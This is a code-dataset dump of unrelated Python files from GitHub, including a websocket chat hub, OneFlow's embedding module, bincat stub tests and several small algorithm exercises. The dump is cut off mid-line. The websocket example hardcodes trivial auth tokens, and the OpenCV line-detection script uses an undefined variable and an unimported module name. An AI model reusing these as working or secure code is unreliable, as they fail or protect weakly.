name ='delete'),\r\n    path('update/<int:id>', views.update, name='update'),\r\n    path('update/updaterecord/<int:id>', views.updaterecord, name='updaterecord'),\r\n\r\n\r\n]","repo_name":"shreensamhi/website_faculty","sub_path":"studentWeb/web/student/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8523856806","text":"import sys\nimport logging\nimport signal\nimport json\nimport base64\nfrom datetime import timedelta\n\nfrom twisted.internet import reactor\nfrom twisted.web.server import Site\nfrom twisted.web.resource import Resource\nfrom autobahn.twisted.websocket import WebSocketServerFactory, \\\n    WebSocketServerProtocol\nfrom autobahn.twisted.resource import WebSocketResource\n\nimport txaio\ntxaio.use_twisted()\n\nDELTA = timedelta(weeks=1)\nSAFE_WAIT = 3\nSTART_COUNT = 10\nVALID_AUTH_TOKENS = [\"asdf\", \"asdf1\", \"asdf2\", \"asdf3\"]\n\n\ndef websocket_func(logger, host, port):\n    cons = list()\n\n    # noinspection PyUnusedLocal\n    def sigint_handler(signum, frame):\n        reactor.stop()\n\n    signal.signal(signal.SIGINT, sigint_handler)\n\n    def send_to_all(msg, except_connection=None):\n        if except_connection:\n            logger.debug(\"Sending to all except %d message: %s\", id(except_connection), msg)\n        else:\n            logger.debug(\"Sending to all: %s\", msg)\n        json_msg = json.dumps(msg)\n        for con in cons:\n            if con == except_connection:\n                continue\n            logger.debug(\"Sending to %d message: %s\", id(con), msg)\n            con.sendMessage(json_msg, False)\n\n    class EchoServerProtocol(WebSocketServerProtocol):\n\n        def __init__(self):\n            super(EchoServerProtocol, self).__init__()\n\n        def send_error(self, error_message):\n            logger.error(error_message)\n            self.send_to_self({\"type\": \"error\", \"response\": error_message})\n\n        def send_to_self(self, msg):\n            logger.debug(\"Sending to self: %s\", msg)\n            json_msg = json.dumps(msg)\n            self.sendMessage(json_msg, False)\n\n        def send_to_others(self, msg):\n            send_to_all(msg, self)\n\n        def onMessage(self, msg, binary):\n            if binary:\n                return\n            try:\n                data = json.loads(msg)\n                data_type = str(data[\"type\"])\n                if \"ping\" == data_type:\n                    self.on_message_ping(data)\n                elif \"register\" == data_type:\n                    self.on_message_register(data)\n                elif \"data\" == data_type:\n                    self.on_message_data(data)\n                else:\n                    self.send_error(\"Received unknown message type: %s\" % data_type)\n            except Exception as e:\n                self.send_error(\"Error: %s, in message: %s\" % (str(e), msg))\n\n        def on_message_data(self, data):\n            self.send_to_self({\n                \"type\": \"data\",\n                \"id\": data[\"id\"],\n                \"message\": base64.b64encode(data[\"message\"])\n            })\n            self.send_to_others({\n                \"type\": \"chat\",\n                \"from\": str(id(self)),\n                \"message\": data[\"message\"]\n            })\n\n        def on_message_register(self, data):\n            auth_token = data[\"auth_token\"]\n            if auth_token in VALID_AUTH_TOKENS:\n                cons.append(self)\n                self.send_to_self({\"type\": \"registered\", \"response\": \"you are cool\"})\n            else:\n                self.send_error(\"Wrong auth token\")\n\n        def on_message_ping(self, data):\n            self.send_to_self({\"type\": \"pong\", \"message\": data[\"message\"]})\n\n        def onClose(self, was_clean, code, reason):\n            logger.debug(\"Disconnected: %s\" % id(self))\n            if self in cons:\n                cons.remove(self)\n\n        def onOpen(self):\n            logger.debug(\"Connected: %s\" % id(self))\n\n    url = \"ws://%s:%d\" % (host, port)\n\n    factory = WebSocketServerFactory(url, debug=True, debugCodePaths=True)\n    factory.protocol = lambda: EchoServerProtocol()\n    factory.setProtocolOptions(allowHixie76=True)\n\n    resource = WebSocketResource(factory)\n\n    root = Resource()\n    root.putChild(\"ws\", resource)\n\n    site = Site(root)\n\n    reactor.listenTCP(port, site)\n    logger.info(\"listening on %s/ws\" % url)\n    reactor.run()\n\n\nif __name__ == '__main__':\n    handler = logging.StreamHandler(sys.stdout)\n    handler.setFormatter(logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s'))\n    logger = logging.getLogger()\n    logger.setLevel(logging.DEBUG)\n    logger.addHandler(handler)\n\n    websocket_func(logger, \"localhost\", 8080)\n","repo_name":"jacek-marchwicki/JavaWebsocketClient","sub_path":"websockets-server/server/example/hub/websocket.py","file_name":"websocket.py","file_ext":"py","file_size_in_byte":4269,"program_lang":"python","lang":"en","doc_type":"code","stars":190,"dataset":"github-code","pt":"16"}
+{"seq_id":"6497818936","text":"import oneflow as flow\nfrom oneflow.nn.module import Module\nimport json\nimport datetime\nfrom oneflow._oneflow_internal import OneEmbeddingHandler\nimport numpy as np\nimport traceback\n\n\ndef _check_initializer(initializer):\n    assert isinstance(initializer, dict)\n    assert initializer.__contains__(\"type\")\n    initializer_type = initializer[\"type\"]\n    assert initializer_type in [\"uniform\", \"normal\"]\n    if initializer_type == \"uniform\":\n        assert initializer.__contains__(\"low\")\n        assert initializer.__contains__(\"high\")\n    elif initializer_type == \"normal\":\n        assert initializer.__contains__(\"mean\")\n        assert initializer.__contains__(\"std\")\n    else:\n        raise NotImplementedError(\"unsupported initializer_type\")\n\n\ndef _check_cache(cache):\n    assert isinstance(cache, dict)\n    assert cache.__contains__(\"policy\")\n    assert cache[\"policy\"] in [\"lru\", \"full\"]\n    cache_memory_budget_mb = 0\n    if cache.__contains__(\"cache_memory_budget_mb\"):\n        cache_memory_budget_mb = cache[\"cache_memory_budget_mb\"]\n    capacity = 0\n    if cache.__contains__(\"capacity\"):\n        capacity = cache[\"capacity\"]\n    assert cache_memory_budget_mb > 0 or capacity > 0\n    assert cache.__contains__(\"value_memory_kind\")\n    assert cache[\"value_memory_kind\"] in [\"device\", \"host\"]\n\n\nclass Embedding(Module):\n    def __init__(\n        self,\n        name,\n        embedding_dim,\n        dtype,\n        key_type,\n        columns,\n        store_options,\n        default_initializer={\"type\": \"normal\", \"mean\": 0, \"std\": 0.05},\n    ):\n        super().__init__()\n        key_value_store_options = {}\n        embedding_columns = {}\n        key_value_store_options[\"name\"] = name\n        assert embedding_dim > 0\n        self.embedding_dim = embedding_dim\n        self.dtype = dtype\n        self.key_type = key_type\n\n        key_type_size = np.dtype(\n            flow.convert_oneflow_dtype_to_numpy_dtype(key_type)\n        ).itemsize\n        assert key_type_size > 0\n        key_value_store_options[\"key_type_size\"] = key_type_size\n        value_type_size = np.dtype(\n            flow.convert_oneflow_dtype_to_numpy_dtype(dtype)\n        ).itemsize\n        assert value_type_size > 0\n        key_value_store_options[\"value_type_size\"] = value_type_size\n\n        scale_factor = store_options[\"size_factor\"]\n        key_value_store_options[\"storage_dim\"] = scale_factor * embedding_dim\n\n        # kv store\n        assert store_options.__contains__(\"kv_store\")\n        kv_store = store_options[\"kv_store\"]\n        assert isinstance(kv_store, dict)\n        if kv_store.__contains__(\"caches\"):\n            caches = kv_store[\"caches\"]\n            assert isinstance(caches, (dict, list, tuple))\n            if isinstance(caches, dict):\n                _check_cache(caches)\n                caches = [caches]\n            else:\n                assert len(caches) <= 2\n                for i in range(len(caches)):\n                    assert isinstance(caches[i], dict)\n                    _check_cache(caches[i])\n        assert kv_store.__contains__(\"persistent_table\")\n        persistent_table = kv_store[\"persistent_table\"]\n        assert isinstance(persistent_table, dict)\n        assert persistent_table.__contains__(\"path\")\n        persistent_table_path = persistent_table[\"path\"]\n        assert isinstance(persistent_table_path, (str, list, tuple))\n        if isinstance(persistent_table_path, (list, tuple)):\n            assert len(persistent_table_path) == flow.env.get_world_size()\n        if persistent_table.__contains__(\"physical_block_size\"):\n            assert persistent_table[\"physical_block_size\"] in [512, 4096]\n        else:\n            persistent_table[\"physical_block_size\"] = 4096\n        key_value_store_options[\"kv_store\"] = kv_store\n\n        # initializer\n        if columns is not None:\n            assert isinstance(columns, (list, tuple))\n            for column in columns:\n                assert isinstance(column, dict)\n                assert column.__contains__(\"initializer\")\n                _check_initializer(column[\"initializer\"])\n            embedding_columns[\"columns\"] = columns\n        else:\n            assert default_initializer is not None\n            _check_initializer(default_initializer)\n            embedding_columns[\"columns\"] = [{\"initializer\": default_initializer}]\n        key_value_store_options[\"parallel_num\"] = flow.env.get_world_size()\n        self.key_value_store_options = json.dumps(key_value_store_options)\n        self.embedding_columns = json.dumps(embedding_columns)\n        self.num_columns = len(embedding_columns[\"columns\"])\n        self.local_rank = flow.env.get_local_rank()\n        self.rank_id = flow.env.get_rank()\n        self.world_size = flow.env.get_world_size()\n        self.handler = OneEmbeddingHandler(\n            self.key_value_store_options, self.local_rank, self.rank_id, self.world_size\n        )\n        self.shadow = flow.nn.Parameter(flow.Tensor(1))\n\n    def _save_to_state_dict(self, destination, prefix, keep_vars):\n        snapshot_timestamp_tensor = flow.tensor(\n            datetime.datetime.now().timestamp(), dtype=flow.float64, device=\"cuda\"\n        )\n        # Broadcast timestamp tensor from master rank.\n        flow.comm.broadcast(snapshot_timestamp_tensor, src=0)\n        snapshot_timestamp = float(snapshot_timestamp_tensor.numpy())\n        snapshot_timestamp_datetime = datetime.datetime.fromtimestamp(\n            snapshot_timestamp\n        )\n        snapshot_timestamp_str = snapshot_timestamp_datetime.strftime(\n            \"%Y-%m-%d-%H-%M-%S-%f\"\n        )\n        self.handler.SaveSnapshot(snapshot_timestamp_str)\n        destination[prefix + \"OneEmbedding\"] = snapshot_timestamp_str\n\n    def _load_from_state_dict(\n        self,\n        state_dict,\n        prefix,\n        local_metadata,\n        strict,\n        missing_keys,\n        unexpected_keys,\n        error_msgs,\n    ):\n        key = prefix + \"OneEmbedding\"\n        if key in state_dict:\n            saved_snapshot_name = state_dict[key]\n            try:\n                self.handler.LoadSnapshot(saved_snapshot_name)\n            except Exception as ex:\n                error_msgs.append(\n                    'While Loading OneEmbedding Snapshot named \"{}\" failed, please check whether the Snapshot exist'.format(\n                        saved_snapshot_name\n                    )\n                )\n\n    def save_snapshot(self, snapshot_name):\n        self.handler.SaveSnapshot(snapshot_name)\n\n    def load_snapshot(self, snapshot_name):\n        self.handler.LoadSnapshot(snapshot_name)\n\n    def forward(self, ids, column_ids=None):\n        assert self.key_type == ids.dtype, \"ids data_type must equals key_type\"\n        return flow._C.one_embedding_lookup(\n            self.shadow,\n            ids,\n            column_ids,\n            self.dtype,\n            self.embedding_dim,\n            self.num_columns,\n            self.embedding_columns,\n            self.key_value_store_options,\n        )\n\n\ndef _check_and_get_capacity_and_memory_budget_mb(\n    capacity, capacity_name, memory_budget_mb, memory_budget_mb_name\n):\n    if capacity is not None:\n        if memory_budget_mb is not None:\n            print(\n                \"WARNING: {} is set so {} will be ignored\".format(\n                    capacity_name, memory_budget_mb_name\n                )\n            )\n            print(traceback.format_stack()[-3])\n        assert capacity > 0\n        memory_budget_mb = 0\n    elif memory_budget_mb is not None:\n        assert memory_budget_mb > 0\n        capacity = 0\n    else:\n        raise ValueError(\n            \"must set {} or {}\".format(capacity_name, memory_budget_mb_name)\n        )\n    return capacity, memory_budget_mb\n\n\ndef make_device_mem_store_options(\n    persistent_path,\n    capacity_per_rank=None,\n    device_memory_budget_mb_per_rank=None,\n    size_factor=1,\n    physical_block_size=512,\n):\n    assert isinstance(persistent_path, (str, list, tuple))\n    (\n        capacity_per_rank,\n        device_memory_budget_mb_per_rank,\n    ) = _check_and_get_capacity_and_memory_budget_mb(\n        capacity_per_rank,\n        \"capacity_per_rank\",\n        device_memory_budget_mb_per_rank,\n        \"device_memory_budget_mb_per_rank\",\n    )\n    assert capacity_per_rank > 0 or device_memory_budget_mb_per_rank > 0\n    options = {\n        \"kv_store\": {\n            \"caches\": [\n                {\n                    \"policy\": \"full\",\n                    \"capacity\": capacity_per_rank,\n                    \"cache_memory_budget_mb\": device_memory_budget_mb_per_rank,\n                    \"value_memory_kind\": \"device\",\n                }\n            ],\n            \"persistent_table\": {\n                \"path\": persistent_path,\n                \"physical_block_size\": physical_block_size,\n            },\n        },\n        \"size_factor\": size_factor,\n    }\n    return options\n\n\ndef make_host_mem_store_options(\n    persistent_path,\n    capacity_per_rank=None,\n    host_memory_budget_mb_per_rank=None,\n    size_factor=1,\n    physical_block_size=512,\n):\n    assert isinstance(persistent_path, (str, list, tuple))\n    (\n        capacity_per_rank,\n        host_memory_budget_mb_per_rank,\n    ) = _check_and_get_capacity_and_memory_budget_mb(\n        capacity_per_rank,\n        \"capacity_per_rank\",\n        host_memory_budget_mb_per_rank,\n        \"host_memory_budget_mb_per_rank\",\n    )\n    assert capacity_per_rank > 0 or host_memory_budget_mb_per_rank > 0\n    options = {\n        \"kv_store\": {\n            \"caches\": [\n                {\n                    \"policy\": \"full\",\n                    \"capacity\": capacity_per_rank,\n                    \"cache_memory_budget_mb\": host_memory_budget_mb_per_rank,\n                    \"value_memory_kind\": \"host\",\n                }\n            ],\n            \"persistent_table\": {\n                \"path\": persistent_path,\n                \"physical_block_size\": physical_block_size,\n            },\n        },\n        \"size_factor\": size_factor,\n    }\n    return options\n\n\ndef make_device_mem_cached_ssd_store_options(\n    persistent_path,\n    cached_capacity_per_rank=None,\n    device_memory_budget_mb_per_rank=None,\n    size_factor=1,\n    physical_block_size=512,\n):\n    assert isinstance(persistent_path, (str, list, tuple))\n    (\n        cached_capacity_per_rank,\n        device_memory_budget_mb_per_rank,\n    ) = _check_and_get_capacity_and_memory_budget_mb(\n        cached_capacity_per_rank,\n        \"cached_capacity_per_rank\",\n        device_memory_budget_mb_per_rank,\n        \"device_memory_budget_mb_per_rank\",\n    )\n    assert cached_capacity_per_rank > 0 or device_memory_budget_mb_per_rank > 0\n    options = {\n        \"kv_store\": {\n            \"caches\": [\n                {\n                    \"policy\": \"lru\",\n                    \"capacity\": cached_capacity_per_rank,\n                    \"cache_memory_budget_mb\": device_memory_budget_mb_per_rank,\n                    \"value_memory_kind\": \"device\",\n                }\n            ],\n            \"persistent_table\": {\n                \"path\": persistent_path,\n                \"physical_block_size\": physical_block_size,\n            },\n        },\n        \"size_factor\": size_factor,\n    }\n    return options\n\n\ndef make_host_mem_cached_ssd_store_options(\n    persistent_path,\n    cached_capacity_per_rank=None,\n    host_memory_budget_mb_per_rank=None,\n    size_factor=1,\n    physical_block_size=512,\n):\n    assert isinstance(persistent_path, (str, list, tuple))\n    (\n        cached_capacity_per_rank,\n        host_memory_budget_mb_per_rank,\n    ) = _check_and_get_capacity_and_memory_budget_mb(\n        cached_capacity_per_rank,\n        \"cached_capacity_per_rank\",\n        host_memory_budget_mb_per_rank,\n        \"host_memory_budget_mb_per_rank\",\n    )\n    assert cached_capacity_per_rank > 0 or host_memory_budget_mb_per_rank > 0\n    options = {\n        \"kv_store\": {\n            \"caches\": [\n                {\n                    \"policy\": \"lru\",\n                    \"capacity\": cached_capacity_per_rank,\n                    \"cache_memory_budget_mb\": host_memory_budget_mb_per_rank,\n                    \"value_memory_kind\": \"host\",\n                }\n            ],\n            \"persistent_table\": {\n                \"path\": persistent_path,\n                \"physical_block_size\": physical_block_size,\n            },\n        },\n        \"size_factor\": size_factor,\n    }\n    return options\n\n\ndef make_device_mem_cached_host_mem_store_options(\n    persistent_path,\n    cached_capacity_per_rank=None,\n    device_memory_budget_mb_per_rank=None,\n    capacity_per_rank=None,\n    host_memory_budget_mb_per_rank=None,\n    size_factor=1,\n    physical_block_size=512,\n):\n    assert isinstance(persistent_path, (str, list, tuple))\n    (\n        cached_capacity_per_rank,\n        device_memory_budget_mb_per_rank,\n    ) = _check_and_get_capacity_and_memory_budget_mb(\n        cached_capacity_per_rank,\n        \"cached_capacity_per_rank\",\n        device_memory_budget_mb_per_rank,\n        \"device_memory_budget_mb_per_rank\",\n    )\n    assert cached_capacity_per_rank > 0 or device_memory_budget_mb_per_rank > 0\n    (\n        capacity_per_rank,\n        host_memory_budget_mb_per_rank,\n    ) = _check_and_get_capacity_and_memory_budget_mb(\n        capacity_per_rank,\n        \"capacity_per_rank\",\n        host_memory_budget_mb_per_rank,\n        \"host_memory_budget_mb_per_rank\",\n    )\n    assert capacity_per_rank > 0 or host_memory_budget_mb_per_rank > 0\n    options = {\n        \"kv_store\": {\n            \"caches\": [\n                {\n                    \"policy\": \"lru\",\n                    \"capacity\": cached_capacity_per_rank,\n                    \"cache_memory_budget_mb\": device_memory_budget_mb_per_rank,\n                    \"value_memory_kind\": \"device\",\n                },\n                {\n                    \"policy\": \"full\",\n                    \"capacity\": capacity_per_rank,\n                    \"cache_memory_budget_mb\": host_memory_budget_mb_per_rank,\n                    \"value_memory_kind\": \"host\",\n                },\n            ],\n            \"persistent_table\": {\n                \"path\": persistent_path,\n                \"physical_block_size\": physical_block_size,\n            },\n        },\n        \"size_factor\": size_factor,\n    }\n    return options\n","repo_name":"LeetcodeCourageK/oneflow","sub_path":"python/oneflow/one_embedding.py","file_name":"one_embedding.py","file_ext":"py","file_size_in_byte":14206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"29124866908","text":"#!/usr/bin/env python2\n\"\"\"\nThis file describes tests for printf\n\"\"\"\n\nimport pytest\nimport os\nimport subprocess\nfrom pybincat import cfa\n\n\ndef analyze(tmpdir, initfname):\n\n    olddir = os.getcwd()\n    os.chdir(os.path.dirname(__file__))\n    \n    outfname = str(tmpdir.join('end.ini'))\n    logfname = str(tmpdir.join('log.txt'))\n    \n    res = cfa.CFA.from_filenames(initfname, outfname, logfname)\n\n    os.chdir(olddir)\n    return outfname, logfname, res\n\ndef getReg(my_state, name):\n    v = cfa.Value('reg', name, cfa.reg_len(name))\n    return my_state[v][0]\n\ndef getMem(my_state, addr):\n    v = cfa.Value('g', addr)\n    return my_state[v]\n\ndef getMemAsStr(my_state, addr):\n    r = getMem(my_state, addr)\n    return \"\".join(chr(v.value) for v in r)\n\n\ndef getLastState(prgm):\n    curState = prgm['0']\n    while True:\n        nextStates = prgm.next_states(curState.node_id)\n        if len(nextStates) == 0:\n            return curState\n        assert len(nextStates) == 1, \\\n            \"expected exactly 1 destination state after running this instruction\"\n        curState = nextStates[0]\n\n\n\ndef test_printf_0(tmpdir):\n    outfname,logfname,res = analyze(tmpdir, \"printf.ini\")\n    res = open(logfname).read()\n    msg1 = \"stub of printf\"\n    msg2 = \"[ANALYSIS] stubs: printf output:\"\n    assert msg1 in res\n    assert msg2 in res\n    p = res.find(msg2)+len(msg2)+1\n    p2 = res.find(\"\\n\", p)\n    assert res[p:p2] == \"%x\" % 0x12345678\n\n    p = res.find(msg2)+len(msg2)+1\n    assert \"12345678\" in res[p:p+50]\n    \ndef test_printf_px(tmpdir):\n    outfname,logfname,res = analyze(tmpdir, \"printf2.ini\")\n    res = open(logfname).read()\n\n    msg1 = \"stub of printf\"\n    msg2 = \"[ANALYSIS] stubs: printf output:\"\n    assert msg1 in res\n    assert msg2 in res\n\n    p = res.find(msg2)+len(msg2)+1\n    p2 = res.find(\"\\n\", p)\n    assert res[p:p2] == \"value=%x\" % 0x12345678\n\n    p = res.find(msg2)+len(msg2)+1\n    assert \"value=12345678\" in res[p:p+50]\n    \ndef test_printf_ps(tmpdir):\n    outfname,logfname,res = analyze(tmpdir, \"printf3.ini\")\n    res = open(logfname).read()\n\n    msg1 = \"stub of printf\"\n    msg2 = \"[ANALYSIS] stubs: printf output:\"\n    assert msg1 in res\n    assert msg2 in res\n\n    p = res.find(msg2)+len(msg2)+1\n    p2 = res.find(\"\\n\", p)\n    assert res[p:p2] == \"abcd[%s]\" % \"ABC foobar\"\n    \ndef test_printf_pi(tmpdir):\n    outfname,logfname,res = analyze(tmpdir, \"printf_pi.ini\")\n    res = open(logfname).read()\n\n    msg1 = \"stub of printf\"\n    msg2 = \"[ANALYSIS] stubs: printf output:\"\n    assert msg1 in res\n    assert msg2 in res\n\n    p = res.find(msg2)+len(msg2)+1\n    p2 = res.find(\"\\n\", p)\n    assert res[p:p2] == \"abcd[%i]\" % 1234\n\ndef test_printf_pd(tmpdir):\n    outfname,logfname,res = analyze(tmpdir, \"printf_pd.ini\")\n    res = open(logfname).read()\n\n    msg1 = \"stub of printf\"\n    msg2 = \"[ANALYSIS] stubs: printf output:\"\n    assert msg1 in res\n    assert msg2 in res\n\n    p = res.find(msg2)+len(msg2)+1\n    p2 = res.find(\"\\n\", p)\n    assert res[p:p2] == \"abcd[%d]\" % 1234\n\ndef test_printf_p012x(tmpdir):\n    outfname,logfname,res = analyze(tmpdir, \"printf4.ini\")\n    res = open(logfname).read()\n\n    msg1 = \"stub of printf\"\n    msg2 = \"[ANALYSIS] stubs: printf output:\"\n    assert msg1 in res\n    assert msg2 in res\n\n    p = res.find(msg2)+len(msg2)+1\n    p2 = res.find(\"\\n\", p)\n    assert res[p:p2] == \"abcd[%012x]\" % 0x12345678\n\ndef test_sprintf1(tmpdir):\n    outfname,logfname,res = analyze(tmpdir, \"sprintf1.ini\")\n    s = getLastState(res)\n    eax = getReg(s, \"eax\")\n    expected = \"abcd[%012x][%015X]\\n\" % (0x12ab5c78,0x87ab43f1)\n    assert eax.value == len(expected)\n    assert getMemAsStr(s, 0x400) == expected+\"\\x00\"\n\ndef test_sprintf2(tmpdir):\n    outfname,logfname,res = analyze(tmpdir, \"sprintf2.ini\")\n    s = getLastState(res)\n    eax = getReg(s, \"eax\")\n    expected = \"abcd[%s]\\n\" % \"ABCDEF\"\n    assert eax.value == len(expected)\n    assert getMemAsStr(s, 0x400) == expected+\"\\x00\"\n\ndef test_sprintf_check_1(tmpdir):\n    outfname,logfname,res = analyze(tmpdir, \"sprintf_check1.ini\")\n    s = getLastState(res)\n    eax = getReg(s, \"eax\")\n    expected = \"abcd[%s]\\n\" % \"ABCDEF\"\n    assert eax.value == len(expected)\n    assert getMemAsStr(s, 0x400) == expected+\"\\x00\"\n    \ndef test_memcpy(tmpdir):\n    cplen = 15\n    psrc = 0x200\n    pdst = 0x400\n    outfname,logfname,res = analyze(tmpdir, \"memcpy1.ini\")\n    first_state = res[0]\n    last_state = getLastState(res)\n    src = getMemAsStr(first_state, psrc)\n    dst = getMemAsStr(last_state, pdst)\n    eax = getReg(last_state, \"eax\")\n    assert eax.value == pdst\n    assert dst == src\n    \n","repo_name":"adolfoeliazat/bincat","sub_path":"ocaml/test/stubs/test_stubs.py","file_name":"test_stubs.py","file_ext":"py","file_size_in_byte":4573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"969107470","text":"import polyline, math\nimport intersectionParse, dirProject\n\n# THRESHOLD = .0001101\nTHRESHOLD = 0.0002\n\n# school = intersectionParse.Node([-117.71747, 34.10185,]) \ndef addRoute (mapOfNodes, intersections, directionIntersection, points):\n    close_intersections = []\n    missing_intersection = []\n    school = intersectionParse.Node(-117.71747, 34.10185)\n    previous_node = points[0]\n\n    for point_node in points[1:]:\n        if point_node in directionIntersection:\n            directionIntersection.remove(point_node)\n\n        #mapOfNodes[previous_node] = point_node\n        if point_node in mapOfNodes:\n            # Place holder for where there should already be direction to the school\n            mapOfNodes[previous_node] = point_node\n            print('here, place holder for nodes already in mapOfNodes')\n            break \n\n        distance_lat = abs(point_node.lat - previous_node.lat)\n        distance_lng = abs(point_node.lng - previous_node.lng)\n        \n        if  distance_lat >.00050 or distance_lng >.00050:\n            radius = (point_node - previous_node)/2\n            midpoint = intersectionParse.Node((min(point_node.lat, previous_node.lat) + distance_lat/2), (min(point_node.lng, previous_node.lng) + distance_lng/2))\n\n            close_intersections = [inter for inter in intersections if (inter - midpoint) <= radius]\n            missing_intersection = getSpPoint(point_node, previous_node, close_intersections)\n\n            distances = [(previous_node-inter, inter) for inter in missing_intersection]\n\n            distances.sort()\n\n            for inter in distances:\n                if inter[1] != previous_node:\n                    mapOfNodes[previous_node] = inter[1]\n                    previous_node = inter[1]\n        if point_node != previous_node:\n            mapOfNodes[previous_node] = point_node\n\n        previous_node = point_node\n    print(\"done with path\")\n    return mapOfNodes\n\ndef snapToIntersection(points, intersections):\n    return [interExist(point, intersections) for point in points]\n\ndef interExist(point, intersections):\n    distances = [(point-intersection_node, intersection_node) for intersection_node in intersections]\n\n    distances.sort()\n    best_distance, best_node = distances[0]\n    \n    if best_distance < THRESHOLD:\n        print(\"node\")\n        return best_node\n    else:\n        print(\"point\")\n        return point\n\ndef getSpPoint(A,B,close_intersections):\n    print(\"In get SP point\")\n    missing_intersection = []\n    for C in close_intersections:\n        x1 = A.lat\n        y1 = A.lng\n        x2 = B.lat\n        y2 = B.lng\n        x3 = C.lat\n        y3 = C.lng\n        px = x2-x1\n        py = y2-y1 \n        dAB = px*px + py*py\n        u = ((x3 - x1) * px + (y3 -y1) * py) /dAB\n        x = x1 +u * px\n        y = y1 + u * py \n\n        currNode = intersectionParse.Node(x,y)\n        \n        if currNode - C < THRESHOLD:\n            missing_intersection.append(currNode)\n    return missing_intersection\n\n\n\n\n\n","repo_name":"csxz1122/summer_2016","sub_path":"python/addRouteToMap.py","file_name":"addRouteToMap.py","file_ext":"py","file_size_in_byte":2976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"24703722788","text":"# 翻转整棵树的所有左右子树\n\n# Node类\nclass Node():\n    def __init__(self, item):\n        self.item = item\n        self.lTree = None\n        self.rTree = None\n\n# BST类\nclass BST():\n    def __init__(self):\n        self.root = None\n\n    def add(self, item):\n        if self.root == None:\n            tempNode = Node(item)\n            self.root = tempNode\n            return\n        tempNode = self.root\n        while tempNode != None:\n            if item < tempNode.item:\n                if tempNode.lTree == None:\n                    tempNode.lTree = Node(item)\n                    return\n                tempNode = tempNode.lTree\n            elif item > tempNode.item:\n                if tempNode.rTree == None:\n                    tempNode.rTree = Node(item)\n                    return\n                tempNode = tempNode.rTree\n            else:\n                print(\"The number has existed\")\n                return None\n\n    def inOrder(self, node):\n        if node == None:\n            return\n        \n        self.inOrder(node.lTree)\n        print(node.item)\n        self.inOrder(node.rTree)\n\n    def func(self, node):\n        if node == None:\n            return\n        node.lTree, node.rTree = node.rTree, node.lTree\n        self.func(node.lTree)\n        self.func(node.rTree)\n            \n        \nif __name__ == '__main__':\n    myBST = BST()\n    myBST.add(100)\n    myBST.add(75)\n    myBST.add(110)\n    myBST.add(50)\n    myBST.add(80)\n    myBST.add(120)\n    myBST.add(115)\n    myBST.add(130)\n    myBST.add(125)\n    myBST.add(126)\n    myBST.add(123)\n\n    myBST.inOrder(myBST.root)\n    myBST.func(myBST.root)\n    print(\"翻转后为:\")\n    myBST.inOrder(myBST.root)\n    ","repo_name":"2384963497/Algorithms-and-data-structures","sub_path":"Code01/032树_反转左右子树.py","file_name":"032树_反转左右子树.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34442326917","text":"import cv2\nimport os\nimport numpy as np\nimport pydicom\nimport math\n\nclass Line:\n    def __init__(self, x1, y1, x2, y2):\n        self.x1 = x1\n        self.y1 = y1\n        self.x2 = x2\n        self.y2 = y2\n\n    def length(self):\n        return numpy.sqrt(pow(self.x2 - self.x1, 2) + pow(self.y2 - self.y1, 2))\n\n    def angle(self):\n        return math.degrees(math.atan2(self.y2 - self.y1, self.x2 - self.x1))\n\ndef find_lines(input):\n    \"\"\"Finds all line segments in an image.\n    Args:\n        input: A numpy.ndarray.\n    Returns:\n        A filtered list of Lines.\n    \"\"\"\n    detector = cv2.createLineSegmentDetector()\n    if (len(input.shape) == 2 or input.shape[2] == 1):\n        lines = detector.detect(input)\n    else:\n        tmp = cv2.cvtColor(input, cv2.COLOR_BGR2GRAY)\n        lines = detector.detect(tmp)\n    output = []\n    if len(lines) != 0:\n        for i in range(1, len(lines[0])):\n            tmp = Line(lines[0][i, 0][0], lines[0][i, 0][1],\n                        lines[0][i, 0][2], lines[0][i, 0][3])\n            output.append(tmp)\n    return output\n\n\nimg = pydicom.dcmread('test.dcm').pixel_array\ncv2.imshow(\"origional\",img)\n\n# img2, contours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n# cv2.drawContours(img, contours, -1, (0,255,0), 3)\n\n\nddepth = cv2.CV_16S\nscale = 1\ndelta = 0\n\n\nlines = find_lines(grad)\ndst = cv2.Canny(grad, 50, 200, None, 3)\ncdst = cv2.cvtColor(dst, cv2.COLOR_GRAY2BGR)\n# Draw the lines\nif lines is not None:\n    for i in range(0, len(lines)):\n        cv2.line(cdst, (lines[i].x1, lines[i].y1), (lines[i].x1, lines[i].y1), (0,0,255), 3, cv2.LINE_AA)\ncv2.imshow(\"Sobel\", grad)\ncv2.imshow(\"Detected Lines (in red) - Standard Hough Line Transform\", cdst)\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"aidanwen/radiology","sub_path":"preprocessingscripts/ribcage/linesegment.py","file_name":"linesegment.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"16352781793","text":"\"\"\"\n面试题18（二）：删除链表中重复的结点\n题目：在一个排序的链表中，如何删除重复的结点？\n\"\"\"\n\nclass Node:\n    def __init__(self, val):\n        self.val = val\n        self.next = None\n\n    def __del__(self):\n        self.val = None\n        self.next = None\n\nclass Solution:\n    def delete_duplicate_node1(self, p_head):\n        \"\"\"\n        去重\n        \"\"\"\n        if p_head is None:\n            return\n\n        p_next = p_head\n        while p_next is not None:\n            flag_duplicate = False\n            p_duplicate = p_next.next\n            while p_duplicate is not None and p_duplicate.val == p_next.val:\n                p_tmp = p_duplicate\n                p_duplicate = p_duplicate.next\n                p_tmp.__del__()\n                flag_duplicate = True\n            if flag_duplicate:\n                p_next.next = p_duplicate\n            p_next = p_next.next\n\n    def delete_duplicate_node2(self, root):\n        \"\"\"\n        保留唯一的节点\n        \"\"\"\n        if root is None:\n            return\n\n        p_pre_node = None\n        p_node = root\n        while p_node is not None:\n            p_next = p_node.next\n            need_delete = False\n            if p_next is not None and 